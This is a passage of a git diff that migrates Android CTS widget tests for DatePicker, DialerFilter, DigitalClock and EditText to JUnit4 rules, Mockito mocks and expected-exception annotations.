         assertEquals(View.NO_ID, datePicker.getId());
         datePicker.setId(99);
         assertFalse(datePicker.hasCalledOnSaveInstanceState());
@@ -137,43 +290,23 @@
         assertEquals(1, datePicker.getChildCount());
         assertTrue(datePicker.hasCalledOnSaveInstanceState());
 
-        // Test dispatchRestoreInstanceState
-        datePicker = createDatePicker();
+        // Test dispatchRestoreInstanceState -> onRestoreInstanceState path
+        datePicker = new MockDatePicker(mActivity);
         datePicker.setId(99);
         assertFalse(datePicker.hasCalledOnRestoreInstanceState());
         datePicker.dispatchRestoreInstanceState(container);
         assertEquals(2008, datePicker.getYear());
         assertEquals(9, datePicker.getMonth());
         assertEquals(10, datePicker.getDayOfMonth());
-
-        // Test onRestoreInstanceState
         assertTrue(datePicker.hasCalledOnRestoreInstanceState());
     }
 
-    private AttributeSet getAttributeSet(int resourceId) {
-        final XmlResourceParser parser = mContext.getResources().getXml(resourceId);
-        try {
-            XmlUtils.beginDocument(parser, "RelativeLayout");
-        } catch (Exception e) {
-            fail("Found unexpected loading process error before invoking generateLayoutParams.");
-        }
-        final AttributeSet attr = Xml.asAttributeSet(parser);
-        assertNotNull(attr);
-        return attr;
-    }
-
-    private MockDatePicker createDatePicker() {
-        MockDatePicker datePicker = new MockDatePicker(mContext,
-                getAttributeSet(R.layout.datepicker_layout));
-        return datePicker;
-    }
-
     private class MockDatePicker extends DatePicker {
         private boolean mCalledOnSaveInstanceState = false;
         private boolean mCalledOnRestoreInstanceState = false;
 
-        public MockDatePicker(Context context, AttributeSet attrs) {
-            super(context, attrs);
+        public MockDatePicker(Context context) {
+            super(context);
         }
 
         @Override
@@ -201,10 +334,4 @@
             return mCalledOnRestoreInstanceState;
         }
     }
-
-    private class MockOnDateChangedListener implements DatePicker.OnDateChangedListener {
-        public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
-
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
index a99f56a..f7f6bc7 100644
--- a/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DialerFilterTest.java
@@ -16,55 +16,65 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static com.android.compatibility.common.util.WidgetTestUtils.sameCharSequence;
 
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.text.Editable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.TextWatcher;
 import android.util.AttributeSet;
-import android.util.Log;
 import android.util.Xml;
 import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
 import android.widget.DialerFilter;
 import android.widget.EditText;
 import android.widget.RelativeLayout;
 
-public class DialerFilterTest extends ActivityInstrumentationTestCase2<DialerFilterCtsActivity> {
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DialerFilterTest {
     private Activity mActivity;
     private Instrumentation mInstrumentation;
     private DialerFilter mDialerFilter;
 
-    public DialerFilterTest() {
-        super("android.widget.cts", DialerFilterCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<DialerFilterCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DialerFilterCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
 
         mDialerFilter = (DialerFilter) mActivity.findViewById(R.id.dialer_filter);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         final XmlPullParser parser = mActivity.getResources().getXml(R.layout.dialerfilter_layout);
         final AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -74,34 +84,32 @@
     }
 
     @UiThreadTest
+    @Test
     public void testIsQwertyKeyboard() {
         // Simply call the method. Return value may depend on the default keyboard.
         mDialerFilter.isQwertyKeyboard();
     }
 
-    public void testOnKeyUpDown() {
+    @Test
+    public void testOnKeyUpDown() throws Throwable {
         // The exact behavior depends on the implementation of DialerKeyListener and
         // TextKeyListener, but even that may be changed. Simply assert basic scenarios.
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mDialerFilter.setMode(DialerFilter.DIGITS_ONLY);
-                mDialerFilter.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mDialerFilter.setMode(DialerFilter.DIGITS_ONLY);
+            mDialerFilter.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mDialerFilter.hasFocus());
 
-        mInstrumentation.sendStringSync("123");
+        CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "123");
         assertEquals("", mDialerFilter.getLetters().toString());
         assertEquals("123", mDialerFilter.getDigits().toString());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mDialerFilter.clearText();
-                mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mDialerFilter.clearText();
+            mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
         });
         mInstrumentation.waitForIdleSync();
 
@@ -110,47 +118,44 @@
                 = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
         if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
             // "adg" in case of 12-key(NUMERIC) keyboard
-            mInstrumentation.sendStringSync("234");
+            CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "234");
         }
         else {
-            mInstrumentation.sendStringSync("adg");
+            CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "adg");
         }
         assertEquals("ADG", mDialerFilter.getLetters().toString());
         assertEquals("", mDialerFilter.getDigits().toString());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mDialerFilter.clearText();
-                mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mDialerFilter.clearText();
+            mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS);
         });
         mInstrumentation.waitForIdleSync();
 
         // 12-key support
         if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
             // "adg" in case of 12-key(NUMERIC) keyboard
-            mInstrumentation.sendStringSync("234");
+            CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "234");
         }
         else {
-            mInstrumentation.sendStringSync("adg");
+            CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "adg");
         }
         assertEquals("ADG", mDialerFilter.getLetters().toString());
         // A, D, K may map to numbers on some keyboards. Don't test.
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mDialerFilter.clearText();
-                mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mDialerFilter.clearText();
+            mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS);
         });
         mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.sendStringSync("123");
+        CtsKeyEventUtil.sendString(mInstrumentation, mDialerFilter, "123");
         // 1, 2, 3 may map to letters on some keyboards. Don't test.
         assertEquals("123", mDialerFilter.getDigits().toString());
     }
 
     @UiThreadTest
+    @Test
     public void testAccessMode() {
         mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS_NO_LETTERS);
         assertEquals(DialerFilter.DIGITS_AND_LETTERS_NO_LETTERS, mDialerFilter.getMode());
@@ -163,6 +168,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetLetters() {
         assertEquals("", mDialerFilter.getLetters().toString());
 
@@ -172,6 +178,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetDigits() {
         assertEquals("", mDialerFilter.getDigits().toString());
 
@@ -181,6 +188,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetFilterText() {
         assertEquals("", mDialerFilter.getFilterText().toString());
 
@@ -196,6 +204,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend() {
         mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
         mDialerFilter.append("ANDROID");
@@ -236,16 +245,17 @@
         assertEquals("", mDialerFilter.getLetters().toString());
         assertEquals("", mDialerFilter.getDigits().toString());
         assertEquals("", mDialerFilter.getFilterText().toString());
-
-        try {
-            mDialerFilter.append(null);
-            fail("A NullPointerException should be thrown out.");
-        } catch (final NullPointerException e) {
-            // expected, test success.
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAppendNull() {
+        mDialerFilter.setMode(DialerFilter.DIGITS_AND_LETTERS);
+        mDialerFilter.append(null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testClearText() {
         assertEquals("", mDialerFilter.getLetters().toString());
         assertEquals("", mDialerFilter.getDigits().toString());
@@ -262,112 +272,116 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetLettersWatcher() {
-        MockTextWatcher tw = new MockTextWatcher("A");
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
 
         Spannable span = (Spannable) mDialerFilter.getLetters();
-        assertEquals(-1, span.getSpanStart(tw));
-        assertEquals(-1, span.getSpanEnd(tw));
+        assertEquals(-1, span.getSpanStart(mockTextWatcher));
+        assertEquals(-1, span.getSpanEnd(mockTextWatcher));
 
         mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
-        mDialerFilter.setLettersWatcher(tw);
+        mDialerFilter.setLettersWatcher(mockTextWatcher);
         mDialerFilter.append("ANDROID");
-        assertEquals("ANDROID", tw.getText());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("ANDROID"), eq(0),
+                eq(0), eq(7));
 
         span = (Spannable) mDialerFilter.getLetters();
-        assertEquals(0, span.getSpanStart(tw));
-        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(tw));
+        assertEquals(0, span.getSpanStart(mockTextWatcher));
+        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(mockTextWatcher));
         assertEquals("ANDROID", span.toString());
 
-        tw = new MockTextWatcher("");
-        mDialerFilter.setLettersWatcher(tw);
+        reset(mockTextWatcher);
+        mDialerFilter.setLettersWatcher(mockTextWatcher);
         mDialerFilter.append("");
-        assertEquals("", tw.getText());
-
-        try {
-            mDialerFilter.setLettersWatcher(new MockTextWatcher(null));
-            mDialerFilter.append(null);
-            fail("A NullPointerException should be thrown out.");
-        } catch (final NullPointerException e) {
-            // expected, test success.
-        }
+        verifyZeroInteractions(mockTextWatcher);
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testSetLettersWatcherWithNullAppend() {
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
+
+        mDialerFilter.setLettersWatcher(mockTextWatcher);
+        mDialerFilter.append(null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetDigitsWatcher() {
-        final MockTextWatcher tw = new MockTextWatcher("9");
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
 
         Spannable span = (Spannable) mDialerFilter.getDigits();
-        assertEquals(-1, span.getSpanStart(tw));
-        assertEquals(-1, span.getSpanEnd(tw));
+        assertEquals(-1, span.getSpanStart(mockTextWatcher));
+        assertEquals(-1, span.getSpanEnd(mockTextWatcher));
 
-        mDialerFilter.setDigitsWatcher(tw);
-        assertEquals(0, span.getSpanStart(tw));
-        assertEquals(mDialerFilter.getDigits().length(), span.getSpanEnd(tw));
+        mDialerFilter.setDigitsWatcher(mockTextWatcher);
+        assertEquals(0, span.getSpanStart(mockTextWatcher));
+        assertEquals(mDialerFilter.getDigits().length(), span.getSpanEnd(mockTextWatcher));
 
         mDialerFilter.setMode(DialerFilter.DIGITS_ONLY);
         mDialerFilter.append("12345");
-        assertEquals("12345", tw.getText());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("12345"), eq(0),
+                eq(0), eq(5));
     }
 
     @UiThreadTest
+    @Test
     public void testSetFilterWatcher() {
-        final MockTextWatcher tw = new MockTextWatcher("A");
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
 
         Spannable span = (Spannable) mDialerFilter.getLetters();
-        assertEquals(-1, span.getSpanStart(tw));
-        assertEquals(-1, span.getSpanEnd(tw));
+        assertEquals(-1, span.getSpanStart(mockTextWatcher));
+        assertEquals(-1, span.getSpanEnd(mockTextWatcher));
 
         mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
-        mDialerFilter.setFilterWatcher(tw);
+        mDialerFilter.setFilterWatcher(mockTextWatcher);
         mDialerFilter.append("ANDROID");
-        assertEquals("ANDROID", tw.getText());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("ANDROID"), eq(0),
+                eq(0), eq(7));
         span = (Spannable) mDialerFilter.getLetters();
 
-        assertEquals(0, span.getSpanStart(tw));
-        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(tw));
+        assertEquals(0, span.getSpanStart(mockTextWatcher));
+        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(mockTextWatcher));
 
         mDialerFilter.setMode(DialerFilter.DIGITS_ONLY);
-        mDialerFilter.setFilterWatcher(tw);
+        mDialerFilter.setFilterWatcher(mockTextWatcher);
         mDialerFilter.append("12345");
-        assertEquals("12345", tw.getText());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("12345"), eq(0),
+                eq(0), eq(5));
     }
 
     @UiThreadTest
+    @Test
     public void testRemoveFilterWatcher() {
-        final MockTextWatcher tw = new MockTextWatcher("A");
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
 
         Spannable span = (Spannable) mDialerFilter.getLetters();
-        assertEquals(-1, span.getSpanStart(tw));
-        assertEquals(-1, span.getSpanEnd(tw));
+        assertEquals(-1, span.getSpanStart(mockTextWatcher));
+        assertEquals(-1, span.getSpanEnd(mockTextWatcher));
 
         mDialerFilter.setMode(DialerFilter.LETTERS_ONLY);
-        mDialerFilter.setFilterWatcher(tw);
+        mDialerFilter.setFilterWatcher(mockTextWatcher);
         mDialerFilter.append("ANDROID");
-        assertEquals("ANDROID", tw.getText());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("ANDROID"), eq(0),
+                eq(0), eq(7));
 
         span = (Spannable) mDialerFilter.getLetters();
-        assertEquals(0, span.getSpanStart(tw));
-        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(tw));
+        assertEquals(0, span.getSpanStart(mockTextWatcher));
+        assertEquals(mDialerFilter.getLetters().length(), span.getSpanEnd(mockTextWatcher));
 
-        mDialerFilter.removeFilterWatcher(tw);
+        reset(mockTextWatcher);
+        mDialerFilter.removeFilterWatcher(mockTextWatcher);
         mDialerFilter.append("GOLF");
-        assertEquals("ANDROID", tw.getText());
+        verifyZeroInteractions(mockTextWatcher);
 
-        assertEquals(-1, span.getSpanStart(tw));
-        assertEquals(-1, span.getSpanEnd(tw));
-    }
-
-    public void testOnFinishInflate() {
-        // onFinishInflate() is implementation details, do NOT test
-    }
-
-    public void testOnFocusChanged() {
-        // onFocusChanged() is implementation details, do NOT test
+        assertEquals(-1, span.getSpanStart(mockTextWatcher));
+        assertEquals(-1, span.getSpanEnd(mockTextWatcher));
     }
 
     @UiThreadTest
-    public void testOnModechange() {
+    @Test
+    public void testOnModeChange() {
         final MockDialerFilter dialerFilter = createMyDialerFilter();
         dialerFilter.onFinishInflate();
 
@@ -401,33 +415,6 @@
         return dialerFilter;
     }
 
-    private class MockTextWatcher implements TextWatcher {
-        private String mString;
-
-        public MockTextWatcher(final String s) {
-            mString = s;
-        }
-
-        public void beforeTextChanged(final CharSequence s, final int start, final int count,
-                final int after) {
-            Log.d("DialerFilterTest", "MockTextWatcher beforeTextChanged");
-        }
-
-        public void onTextChanged(final CharSequence s, final int start, final int before,
-                final int count) {
-            Log.d("DialerFilterTest", "MockTextWatcher onTextChanged");
-            mString = s.toString();
-        }
-
-        public void afterTextChanged(final Editable s) {
-            Log.d("DialerFilterTest", "MockTextWatcher afterTextChanged");
-        }
-
-        public String getText() {
-            return mString;
-        }
-    }
-
     /**
      * MockDialerFilter for test
      */
diff --git a/tests/tests/widget/src/android/widget/cts/DigitalClockCtsActivity.java b/tests/tests/widget/src/android/widget/cts/DigitalClockCtsActivity.java
index d92651e..07c0270 100644
--- a/tests/tests/widget/src/android/widget/cts/DigitalClockCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/DigitalClockCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for TextView test.
diff --git a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
index 2bfcc59..6c9f512 100644
--- a/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DigitalClockTest.java
@@ -16,64 +16,70 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.DigitalClock;
 import android.widget.LinearLayout;
 import android.widget.cts.util.XmlUtils;
 
-import java.io.IOException;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.IOException;
 
 /**
  * Test {@link DigitalClock}.
  */
-public class DigitalClockTest extends ActivityInstrumentationTestCase<DigitalClockCtsActivity> {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DigitalClockTest {
     private Activity mActivity;
-    private Context mContext;
 
-    public DigitalClockTest() {
-        super("android.widget.cts", DigitalClockCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<DigitalClockCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DigitalClockCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mContext = getInstrumentation().getContext();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         // new the DigitalClock instance
-        new DigitalClock(mContext);
+        new DigitalClock(mActivity);
 
         // new the DigitalClock instance with null AttributeSet
-        new DigitalClock(mContext, null);
+        new DigitalClock(mActivity, null);
 
         // new the DigitalClock instance with real AttributeSet
-        new DigitalClock(mContext, getAttributeSet(R.layout.digitalclock_layout));
-
-        // Test constructor with null Context, in fact, DigitalClock(mContext) function will
-        //finally invoke this version.
-        try {
-            // Test with null Context
-            new DigitalClock(null, getAttributeSet(R.layout.digitalclock_layout));
-            fail("should throw NullPointerException");
-        } catch (Exception e) {
-        }
+        new DigitalClock(mActivity, getAttributeSet(R.layout.digitalclock_layout));
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        new DigitalClock(null, getAttributeSet(R.layout.digitalclock_layout));
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnDetachedFromWindow() {
         final MockDigitalClock digitalClock = createDigitalClock();
 
@@ -88,6 +94,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnAttachedToWindow() {
         final MockDigitalClock digitalClock = createDigitalClock();
 
@@ -105,7 +112,7 @@
     }
 
     private MockDigitalClock createDigitalClock() {
-        MockDigitalClock datePicker = new MockDigitalClock(mContext,
+        MockDigitalClock datePicker = new MockDigitalClock(mActivity,
                 getAttributeSet(R.layout.digitalclock_layout));
 
         return datePicker;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextCtsActivity.java b/tests/tests/widget/src/android/widget/cts/EditTextCtsActivity.java
new file mode 100644
index 0000000..5915fd6
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/EditTextCtsActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.EditText;
+
+/**
+ * A minimal application for {@link EditText} test.
+ */
+public class EditTextCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.edittext_layout);
+    }
+}
+
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index acf5f38..9785b1f 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -16,205 +16,231 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
+import android.app.Activity;
 import android.content.Context;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.text.method.ArrowKeyMovementMethod;
 import android.text.method.MovementMethod;
 import android.util.AttributeSet;
+import android.util.DisplayMetrics;
+import android.util.TypedValue;
 import android.util.Xml;
 import android.widget.EditText;
 import android.widget.TextView.BufferType;
 
-import android.widget.cts.R;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-
-public class EditTextTest extends AndroidTestCase {
-    private Context mContext;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EditTextTest {
+    private Activity mActivity;
+    private EditText mEditText1;
+    private EditText mEditText2;
     private AttributeSet mAttributeSet;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Rule
+    public ActivityTestRule<EditTextCtsActivity> mActivityRule =
+            new ActivityTestRule<>(EditTextCtsActivity.class);
 
-        mContext = getContext();
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.edittext_layout);
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mEditText1 = (EditText) mActivity.findViewById(R.id.edittext_simple1);
+        mEditText2 = (EditText) mActivity.findViewById(R.id.edittext_simple2);
+
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.edittext_layout);
         mAttributeSet = Xml.asAttributeSet(parser);
     }
 
+    @Test
     public void testConstructor() {
-        new EditText(mContext);
+        new EditText(mActivity);
 
-        new EditText(mContext, null);
+        new EditText(mActivity, null);
 
-        new EditText(mContext, null, 0);
+        new EditText(mActivity, null, 0);
 
-        new EditText(mContext, mAttributeSet);
+        new EditText(mActivity, mAttributeSet);
 
-        new EditText(mContext, mAttributeSet, 0);
-
-        try {
-            new EditText(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new EditText(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new EditText(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        new EditText(mActivity, mAttributeSet, 0);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new EditText(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new EditText(null, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testAccessText() {
-        EditText editText = new EditText(mContext, mAttributeSet);
+        mEditText1.setText("android", BufferType.NORMAL);
+        assertTrue(TextUtils.equals("android", mEditText1.getText()));
 
-        editText.setText("android", BufferType.NORMAL);
-        assertEquals("android", editText.getText().toString());
+        mEditText1.setText("", BufferType.SPANNABLE);
+        assertEquals(0, mEditText1.getText().length());
 
-        editText.setText("", BufferType.SPANNABLE);
-        assertEquals("", editText.getText().toString());
-
-        editText.setText(null, BufferType.EDITABLE);
-        assertEquals("", editText.getText().toString());
+        mEditText1.setText(null, BufferType.EDITABLE);
+        assertEquals(0, mEditText1.getText().length());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSelectionIndex() {
-        EditText editText = new EditText(mContext, mAttributeSet);
-
-        String string = "android";
-        editText.setText(string, BufferType.EDITABLE);
+        mEditText1.setText("android", BufferType.EDITABLE);
         int position = 4;
-        editText.setSelection(position);
-        assertEquals(position, editText.getSelectionStart());
-        assertEquals(position, editText.getSelectionEnd());
+        mEditText1.setSelection(position);
+        assertEquals(position, mEditText1.getSelectionStart());
+        assertEquals(position, mEditText1.getSelectionEnd());
 
         position = 0;
-        editText.setSelection(position);
-        assertEquals(position, editText.getSelectionStart());
-        assertEquals(position, editText.getSelectionEnd());
-
-        try {
-            editText.setSelection(-1);
-            fail("An IndexOutOfBoundsException should be thrown out.");
-        } catch (IndexOutOfBoundsException e) {
-            //expected, test success.
-        }
-
-        try {
-            editText.setSelection(string.length() + 1);
-            fail("An IndexOutOfBoundsException should be thrown out.");
-        } catch (IndexOutOfBoundsException e) {
-            //expected, test success.
-        }
+        mEditText1.setSelection(position);
+        assertEquals(position, mEditText1.getSelectionStart());
+        assertEquals(position, mEditText1.getSelectionEnd());
     }
 
-    public void testSetSelectionStartstop() {
-        EditText editText = new EditText(mContext, mAttributeSet);
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetSelectionIndexBeforeFirst() {
+        mEditText1.setText("android", BufferType.EDITABLE);
+        mEditText1.setSelection(-1);
+    }
 
-        String string = "android";
-        editText.setText(string, BufferType.EDITABLE);
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetSelectionIndexAfterLast() {
+        mEditText1.setText("android", BufferType.EDITABLE);
+        mEditText1.setSelection(mEditText1.getText().length() + 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetSelectionStartEnd() {
+        mEditText1.setText("android", BufferType.EDITABLE);
         int start = 1;
         int end = 2;
-        editText.setSelection(start, end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
+        mEditText1.setSelection(start, end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
 
         start = 0;
         end = 0;
-        editText.setSelection(start, end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
+        mEditText1.setSelection(start, end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
 
         start = 7;
         end = 1;
-        editText.setSelection(start, end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
-
-        try {
-            editText.setSelection(-5, -1);
-            fail("An IndexOutOfBoundsException should be thrown out.");
-        } catch (IndexOutOfBoundsException e) {
-            //expected, test success.
-        }
-
-        try {
-            editText.setSelection(5, string.length() + 1);
-            fail("An IndexOutOfBoundsException should be thrown out.");
-        } catch (IndexOutOfBoundsException e) {
-            //expected, test success.
-        }
+        mEditText1.setSelection(start, end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetSelectionStartEndBeforeFirst() {
+        mEditText1.setText("android", BufferType.EDITABLE);
+        mEditText1.setSelection(-5, -1);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetSelectionStartEndAfterLast() {
+        mEditText1.setText("android", BufferType.EDITABLE);
+        mEditText1.setSelection(5, mEditText1.getText().length() + 1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSelectAll() {
